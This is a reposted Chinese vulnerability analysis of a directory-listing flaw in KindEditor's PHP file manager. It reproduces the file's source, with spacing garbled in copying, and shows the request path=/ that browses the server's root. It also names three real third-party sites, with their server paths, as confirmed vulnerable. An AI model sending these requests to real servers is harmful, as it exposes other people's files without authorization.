Kindeditor特定情况可能会导致全盘浏览的漏洞

2023-12-07 0 475

因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。 下载地址: 貌似是最新版本的。 测试语言:PHP 测试漏洞文件:/kindeditor/php/file_manager_json.php 默认配置(第16行): $root_path = $php_path . \’../attached/\’; 当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子: $root_path = $php_path . \’../../../upload/\’; 这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。 怎么造成了漏洞的呢?我们分析下。

PHP Code复制内容到剪贴板

  • <?php
  • /**
  • *KindEditorPHP
  • *
  • *本PHP程序是演示程序,建议不要直接在实际项目中使用。
  • *如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。
  • *
  • */
  • require_once\’JSON.php\’;
  • $php_path=dirname(__FILE__).\’/\’;
  • $php_url=dirname($_SERVER[\’PHP_SELF\’]).\’/\’;
  • //根目录路径,可以指定绝对路径,比如/var/www/attached/
  • $root_path=$php_path.\’../../../upload/\’;
  • //根目录URL,可以指定绝对路径,比如http://www.yoursite.com/attached/
  • $root_url=$php_url.\’../../../upload/\’;
  • //图片扩展名
  • $ext_arr=array(\’gif\’,\’jpg\’,\’jpeg\’,\’png\’,\’bmp\’);
  • //目录名
  • $dir_name=emptyempty($_GET[\’dir\’])?\’\’:trim($_GET[\’dir\’]);
  • if(!in_array($dir_name,array(\’\’,\’image\’,\’flash\’,\’media\’,\’file\’))){
  • echo"InvalidDirectoryname.";
  • exit;
  • }
  • if($dir_name!==\’\’){
  • $root_path.=$dir_name."/";
  • $root_url.=$dir_name."/";
  • if(!file_exists($root_path)){
  • mkdir($root_path);
  • }
  • }
  • //根据path参数,设置各路径和URL
  • if(emptyempty($_GET[\’path\’])){
  • $current_path=realpath($root_path).\’/\’;
  • $current_url=$root_url;
  • $current_dir_path=\’\’;
  • $moveup_dir_path=\’\’;
  • }else{
  • $current_path=realpath($root_path).\’/\’.$_GET[\’path\’];
  • $current_url=$root_url.$_GET[\’path\’];
  • $current_dir_path=$_GET[\’path\’];
  • $moveup_dir_path=preg_replace(\’/(.*?)[^\\/]+\\/$/\’,\’$1\’,$current_dir_path);
  • }
  • //echorealpath($root_path);
  • //排序形式,nameorsizeortype
  • $order=emptyempty($_GET[\’order\’])?\’name\’:strtolower($_GET[\’order\’]);
  • //不允许使用..移动到上一级目录
  • if(preg_match(\’/\\.\\./\’,$current_path)){
  • echo\’Accessisnotallowed.\’;
  • exit;
  • }
  • //最后一个字符不是/
  • if(!preg_match(\’/\\/$/\’,$current_path)){
  • echo\’Parameterisnotvalid.\’;
  • exit;
  • }
  • //目录不存在或不是目录
  • if(!file_exists($current_path)||!is_dir($current_path)){
  • echo\’Directorydoesnotexist.\’;
  • exit;
  • }
  • //遍历目录取得文件信息
  • $file_list=array();
  • if($handle=opendir($current_path)){
  • $i=0;
  • while(false!==($filename=readdir($handle))){
  • if($filename{0}==\’.\’)continue;
  • $file=$current_path.$filename;
  • if(is_dir($file)){
  • $file_list[$i][\’is_dir\’]=true;//是否文件夹
  • $file_list[$i][\’has_file\’]=(count(scandir($file))>2);//文件夹是否包含文件
  • $file_list[$i][\’filesize\’]=0;//文件大小
  • $file_list[$i][\’is_photo\’]=false;//是否图片
  • $file_list[$i][\’filetype\’]=\’\’;//文件类别,用扩展名判断
  • }else{
  • $file_list[$i][\’is_dir\’]=false;
  • $file_list[$i][\’has_file\’]=false;
  • $file_list[$i][\’filesize\’]=filesize($file);
  • $file_list[$i][\’dir_path\’]=\’\’;
  • $file_ext=strtolower(pathinfo($file,PATHINFO_EXTENSION));
  • $file_list[$i][\’is_photo\’]=in_array($file_ext,$ext_arr);
  • $file_list[$i][\’filetype\’]=$file_ext;
  • }
  • $file_list[$i][\’filename\’]=$filename;//文件名,包含扩展名
  • $file_list[$i][\’datetime\’]=date(\’Y-m-dH:i:s\’,filemtime($file));//文件最后修改时间
  • $i++;
  • }
  • closedir($handle);
  • }
  • //排序
  • functioncmp_func($a,$b){
  • global$order;
  • if($a[\’is_dir\’]&&!$b[\’is_dir\’]){
  • return-1;
  • }elseif(!$a[\’is_dir\’]&&$b[\’is_dir\’]){
  • return1;
  • }else{
  • if($order==\’size\’){
  • if($a[\’filesize\’]>$b[\’filesize\’]){
  • return1;
  • }elseif($a[\’filesize\’]<$b[\’filesize\’]){
  • return-1;
  • }else{
  • return0;
  • }
  • }elseif($order==\’type\’){
  • returnstrcmp($a[\’filetype\’],$b[\’filetype\’]);
  • }else{
  • returnstrcmp($a[\’filename\’],$b[\’filename\’]);
  • }
  • }
  • }
  • usort($file_list,\’cmp_func\’);
  • $result=array();
  • //相对于根目录的上一级目录
  • $result[\’moveup_dir_path\’]=$moveup_dir_path;
  • //相对于根目录的当前目录
  • $result[\’current_dir_path\’]=$current_dir_path;
  • //当前目录的URL
  • $result[\’current_url\’]=$current_url;
  • //文件数
  • $result[\’total_count\’]=count($file_list);
  • //文件列表数组
  • $result[\’file_list\’]=$file_list;
  • //输出JSON字符串
  • header(\’Content-type:application/json;charset=UTF-8\’);
  • $json=newServices_JSON();
  • echo$json->encode($result);
  • 第三十八行: $current_path = realpath($root_path) . \’/\’; 当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的\’/\’ $current_path所以默认就等于\’/\’ 当提交了$_GET[\’path\’]以后,而且$_GET[\’path\’]要以\’/\’为结尾(有验证),所以,我们就可以构造浏览全盘目录了。 kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录) 接着上面给出验证的(互联网找到几个): 先给本地的(attached文件夹被我删了):Kindeditor特定情况可能会导致全盘浏览的漏洞Kindeditor特定情况可能会导致全盘浏览的漏洞互联网找到的: http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=imageKindeditor特定情况可能会导致全盘浏览的漏洞http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/ Kindeditor特定情况可能会导致全盘浏览的漏洞http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/ Kindeditor特定情况可能会导致全盘浏览的漏洞

    修复方案:再验证下绝对路径?

    收藏 (0) 打赏

    感谢您的支持,我会继续努力的!

    打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
    点赞 (0)

    悠久资源 漏洞分析 Kindeditor特定情况可能会导致全盘浏览的漏洞 https://www.u-9.cn/security/fenxi/124120.html

    常见问题

    相关文章

    发表评论
    暂无评论
    官方客服团队

    为您解决烦忧 - 24小时在线 专业服务